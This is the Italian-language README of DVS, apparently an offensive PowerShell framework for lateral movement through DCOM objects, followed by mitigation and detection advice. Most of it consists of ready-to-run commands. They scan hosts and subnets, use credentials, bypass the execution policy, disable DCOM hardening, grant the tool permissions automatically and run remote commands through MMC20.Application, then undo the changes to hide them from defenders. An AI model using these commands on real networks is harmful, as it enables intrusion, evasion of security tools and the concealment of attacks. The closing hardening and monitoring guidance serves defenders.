
D(COM) V(ulnerabilità) S(canner) alias coltello svizzero subdolo - Movimento laterale utilizzando oggetti DCOM
Ti sei mai chiesto come puoi muoverti lateralmente all'interno delle reti? o interagire con macchine remote senza allertare gli EDR?
Supponiamo di avere credenziali valide, o una sessione attiva con accesso a una macchina remota, ma senza un'opzione per eseguire un processo remoto in un modo noto, atteso o altamente monitorato (ad es. WMI, Task Scheduler, WinRM, PowerShell Remoting).
Per questi scenari, il framework DVS viene in soccorso.
Il framework DVS è un coltellino svizzero che ti consente di enumerare funzioni vulnerabili di oggetti DCOM remoti, lanciarle e persino lanciare attacchi utilizzandoli.
Il framework è sviluppato con una mentalità "Red Team" e utilizza metodi furtivi per compromettere macchine remote.
Il framework DVS contiene vari modi per bypassare l'hardening remoto contro DCOM riabilitando l'accesso DCOM da remoto e concedendo automaticamente le autorizzazioni necessarie all'utente attaccante.
Il framework può anche ripristinare le modifiche sulla macchina remota allo stato originale, prima dell'attacco - nascondendo queste modifiche ai difensori.
Il nostro principale insight è che lo strumento può anche eseguire comandi utilizzando oggetti DCOM non vulnerabili attraverso una tecnica aqsome (leggi sotto su Invoke-RegisterRemoteSchema)
Compatibile con PowerShell 2.0 e successivi
Video PoC su Youtube: DVS
Questo strumento è solo per scopi di test e educativi. Qualsiasi altro utilizzo di questo codice non è consentito. Usalo a tuo rischio.
L'autore non si assume ALCUNA responsabilità per l'uso improprio di questo strumento.
Utilizzandolo accetti il fatto che qualsiasi danno causato dall'uso di questo strumento è di tua responsabilità.
Accesso al registro remoto (MS-RRP)
AutoGrant è attiva, controlla i permessi di scrittura. altrimenti, controlla i permessi di letturaProvider di registro standard (Se il registro remoto è negato)
StdRegProv è accessibileAutoGrant è attiva, controlla i permessi di scrittura, altrimenti, controlla i permessi di letturaLo strumento DVS controlla prima se l'identità principale ha accesso alla macchina remota tramite i seguenti passaggi:
Azioni di base
SkipRegAuth non è attivo)
AutoGrant attivo), altrimenti fallisceadsi/WindowsIdentity), hanno il permesso di interagire con il DCOM (tramite query del registro remoto)AutoGrant attivo), altrimenti fallisceHKLM o HKCU)Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Get details of the Invoke-RegisterRemoteSchema command
La funzione Invoke-DCOMObjectScan ti consente di scansionare oggetti DCOM e trovare funzioni vulnerabili tramite un elenco di pattern o nomi di funzioni esatti che hai incluso in un file.
Esempi:
Enumera e scansiona l'oggetto MMC20.Application (ProgID) dalla macchina attaccante all'host DC01 senza interrogare il registro.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
Nota: Lo strumento non analizzerà i permessi ACL, e quando lo strumento avrà successo, risolverà tutte le informazioni sull'oggetto, tranne i dettagli menzionati sul registro (come nome oggetto, file eseguibile, ecc.)
Controlla se l'oggetto MMC20.Application (ProgID) è accessibile dalla macchina attaccante all'host DC01 senza prima interrogare e verificare l'elenco di accesso dell'oggetto DCOM.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
Valida se MMC20.Application (ProgID) è applicabile tramite l'intervallo 10.211.55.4/24. Se esiste, lo strumento proverà a enumerare le informazioni su di esso. (utilizzando la sessione utente corrente).
La funzione Get-ExecutionCommand consente di generare un payload PowerShell che interagirà e verrà eseguito con la funzione DCOM remota con i parametri pertinenti.
Controlla se l'identità principale ha il permesso di interagire con l'oggetto CLSID {00020812-0000-0000-C000-000000000046} tramite l'indirizzo IP 10.211.55.4 utilizzando le credenziali lab\administrator, poi genera il comando di esecuzione.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
Controlla l'accesso DCOM,
Nel caso l'identità principale non abbia i permessi necessari o la funzionalità DCOM sia disabilitata, lo strumento abiliterà la funzionalità DCOM, concederà l'accesso all'identità e interagirà con l'oggetto MMC20.Application (ProgID) tramite l'indirizzo IP 10.211.55.4 utilizzando le credenziali lab\administrator, e ti genererà il comando di esecuzione.
Infine, ripristinerà la macchina allo stesso stato di prima dell'attacco.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
La funzione Invoke-ExecutionCommand consente di eseguire comandi tramite oggetti DCOM utilizzando l'utente connesso o credenziali fornite.
Esempi:
Controlla l'accesso DCOM,
Nel caso l'identità principale non abbia i permessi necessari o la funzionalità DCOM sia disabilitata, lo strumento abiliterà la funzionalità DCOM, concederà l'accesso, interagirà con l'oggetto MMC20.Application (ProgID) tramite l'intervallo: 10.211.55.1/24 utilizzando la sessione utente corrente ed eseguirà i seguenti comandi:
Esegue il comando cmd.exe /c calc
Imposta l'attributo Frame.Top a 1
Infine, ripristina la macchina allo stesso stato di prima dell'attacco.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
Prova a interagire con l'oggetto MMC20.Application (ProgID) utilizzando le credenziali lab\administrator tramite l'indirizzo IP 10.211.55.4, ed esegue il seguente comando: .
La funzione Invoke-RegisterRemoteSchema consente di eseguire comandi tramite i seguenti oggetti DCOM utilizzando l'utente connesso o credenziali fornite:
Nota: Questi oggetti DCOM non necessitano di alcun accesso all'hive della macchina locale. possono prendere piede con qualsiasi utente che possa accedere alla macchina remota!
Esegue il comando cmd /c calc sull'intervallo 10.211.55.1/24 utilizzando la sessione corrente, e concede privilegi se necessario
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
Esegue il comando cmd /c calc sulla macchina remota 10.211.55.4 utilizzando credenziali fornite
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
Technica MITRE: T1021.003 - Remote Services: Distributed Component Object Model
Disabilitare l'accesso DCOM remoto
Non consentire l'accesso remoto al registro se non necessario
Entrambe le opzioni sono difficili da implementare in un ambiente aziendale senza impatto sulla disponibilità.
Tuttavia, può essere una buona opzione di hardening per endpoint che non necessitano di gestione remota del dominio. (es. endpoint autonomi)
Abilitare i profili Dominio e Privato in Windows Defender Firewall
Passare all'uso di LAPS per ridurre la superficie di attacco. Se ogni computer nel dominio ha una password amministratore locale diversa, questo account non può essere utilizzato per il movimento laterale.
L'hardening dei diritti di accesso utente può prevenire questo attacco
Utilizzando oggetti Criteri di gruppo, un'organizzazione può rimuovere amministratori, utenti e altri gruppi dall'elenco, e passare all'uso di un gruppo/utente speciale per la gestione centralizzata che non accede in modo interattivo ad altri computer
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
Nelle guide ufficiali di hardening come CIS, l'impostazione raccomandata di [Access this computer from the network] è con i valori di "administrators e Remote Desktop Users o Authenticated users". Queste raccomandazioni sono vulnerabili allo strumento DVS.
Rafforzare i permessi DCOM rimuovendo i diritti di amministratori dai permessi - Avvio remoto e Attivazione remota.
Monitorare le modifiche al registro nelle seguenti posizioni:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
Questa chiave è l'impostazione dei permessi DCOM. Se vengono modificate, potrebbe significare che un avversario che ha utilizzato lo strumento DVS ha rimosso l'hardening.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"Le sottochiavi e i valori del registro associati alla chiave [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] contengono informazioni su un'applicazione necessarie per supportare la funzionalità COM. Queste informazioni includono argomenti come formati di dati supportati, informazioni di compatibilità, identificatori programmatici, DCOM e controlli." Riferimento Microsoft dev center
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
La modifica di questa chiave può indicare che lo strumento DVS ha disabilitato le restrizioni attivazione remota e avvio remoto di DCOM.
Utilizzare un firewall consapevole delle applicazioni per bloccare l'accesso DCOM tra computer. Specialmente da un computer che non fa parte dell'infrastruttura IT o di gestione.
Un sistema di prevenzione delle intrusioni (es. Snort, Suricata) può essere utilizzato per rilevare il protocollo DCOM basato su RPC (MS-RPC, MS-RPCE) e il protocollo del registro remoto (MS-RRP).
Monitorare Windows Defender Firewall abilitando il registro di controllo sul traffico bloccato per i profili dominio e privato.
Monitorare le modifiche alla seguente chiave. Potrebbe indicare che lo strumento DVS ha creato una regola per bypassare le restrizioni RPC dinamiche di Microsoft Defender Firewall.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
Vai a questa chiave di registro: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] Crea nuovi DWORD con valore '1' chiamati ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel
Invoke-RegisterRemoteSchema
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
Valida se l'oggetto CLSID {00020812-0000-0000-C000-000000000046} tramite l'indirizzo IP 10.211.55.4 esiste ed è accessibile. Se esiste, lo strumento risolverà le informazioni su di esso. (Utilizzando le credenziali lab\administrator).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
Scansiona tutti gli oggetti memorizzati su un percorso specificato (es. C:\Users\USERNAME\Desktop\DVS\objects.txt) tramite l'indirizzo IP 10.211.55.4, e trova l'elenco di funzioni situato nel file specificato come vulnerable.txt utilizzando le credenziali lab\administrator con la seguente configurazione:
Profondità massima: 4
Risultati massimi: 1 (1 risultato per ogni oggetto)
Modalità AutoGrant: Se non abbiamo accesso all'oggetto o se la funzionalità DCOM è disabilitata, abilita la funzionalità DCOM ed esegue la concessione automatica all'oggetto DCOM pertinente.
Infine, ripristina la macchina allo stesso stato di prima dell'attacco.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
Scansiona tutti gli oggetti memorizzati sulle macchine remote disponibili dall'intervallo 10.211.55.1/24 e trova potenziali funzioni vulnerabili dall'elenco situato nel file selezionato (es. C:\Users\USERNAME\Desktop\DVS\vulnerable.txt), esclude gli oggetti nel file selezionato (es. C:\Users\USERNAME\Desktop\DVS\exclude.txt), e salta le proprietà con lo stesso nome su altri percorsi dello stesso oggetto.
NOTA: Il flag SkipSameProperyName potrebbe mancare funzioni vulnerabili quando esiste lo stesso nome di proprietà con preferenze diverse (Metodi/altre proprietà) o catena di profondità diversa.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
Prova a interagire con l'oggetto MMC20.Application (ProgID) tramite l'intervallo 10.211.55.1/24 utilizzando la sessione corrente senza analizzare i permessi ACL, poi genera il comando di esecuzione.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
Prova a interagire con l'oggetto MMC20.Application (ProgID) tramite l'indirizzo IP 10.211.55.4 senza interrogare il registro.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
cmd.exe /c calc PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
Prova a interagire con l'oggetto MMC20.Application (ProgID) utilizzando la sessione utente corrente senza analizzare i permessi ACL, ed esegue il seguente comando: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
Utilizzare un firewall basato su host / firewall consapevole delle applicazioni per bloccare l'accesso DCOM tra computer. Specialmente per un computer che non fa parte dell'infrastruttura IT o di gestione.
Le regole di controllo applicazioni possono essere utilizzate come ultimo anello di controlli di sicurezza per impedire ai processi vulnerabili di generare processi figlio pericolosi o caricare DLL.
Esempi:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
Monitorare i registri eventi di Windows:Abilita il controllo degli eventi. Impostazioni di controllo che dovrebbero essere abilitate in caso di successo e fallimento: Controlla eventi di accesso account | Controlla eventi di accesso | Controlla accesso oggetti | Controllo NTLM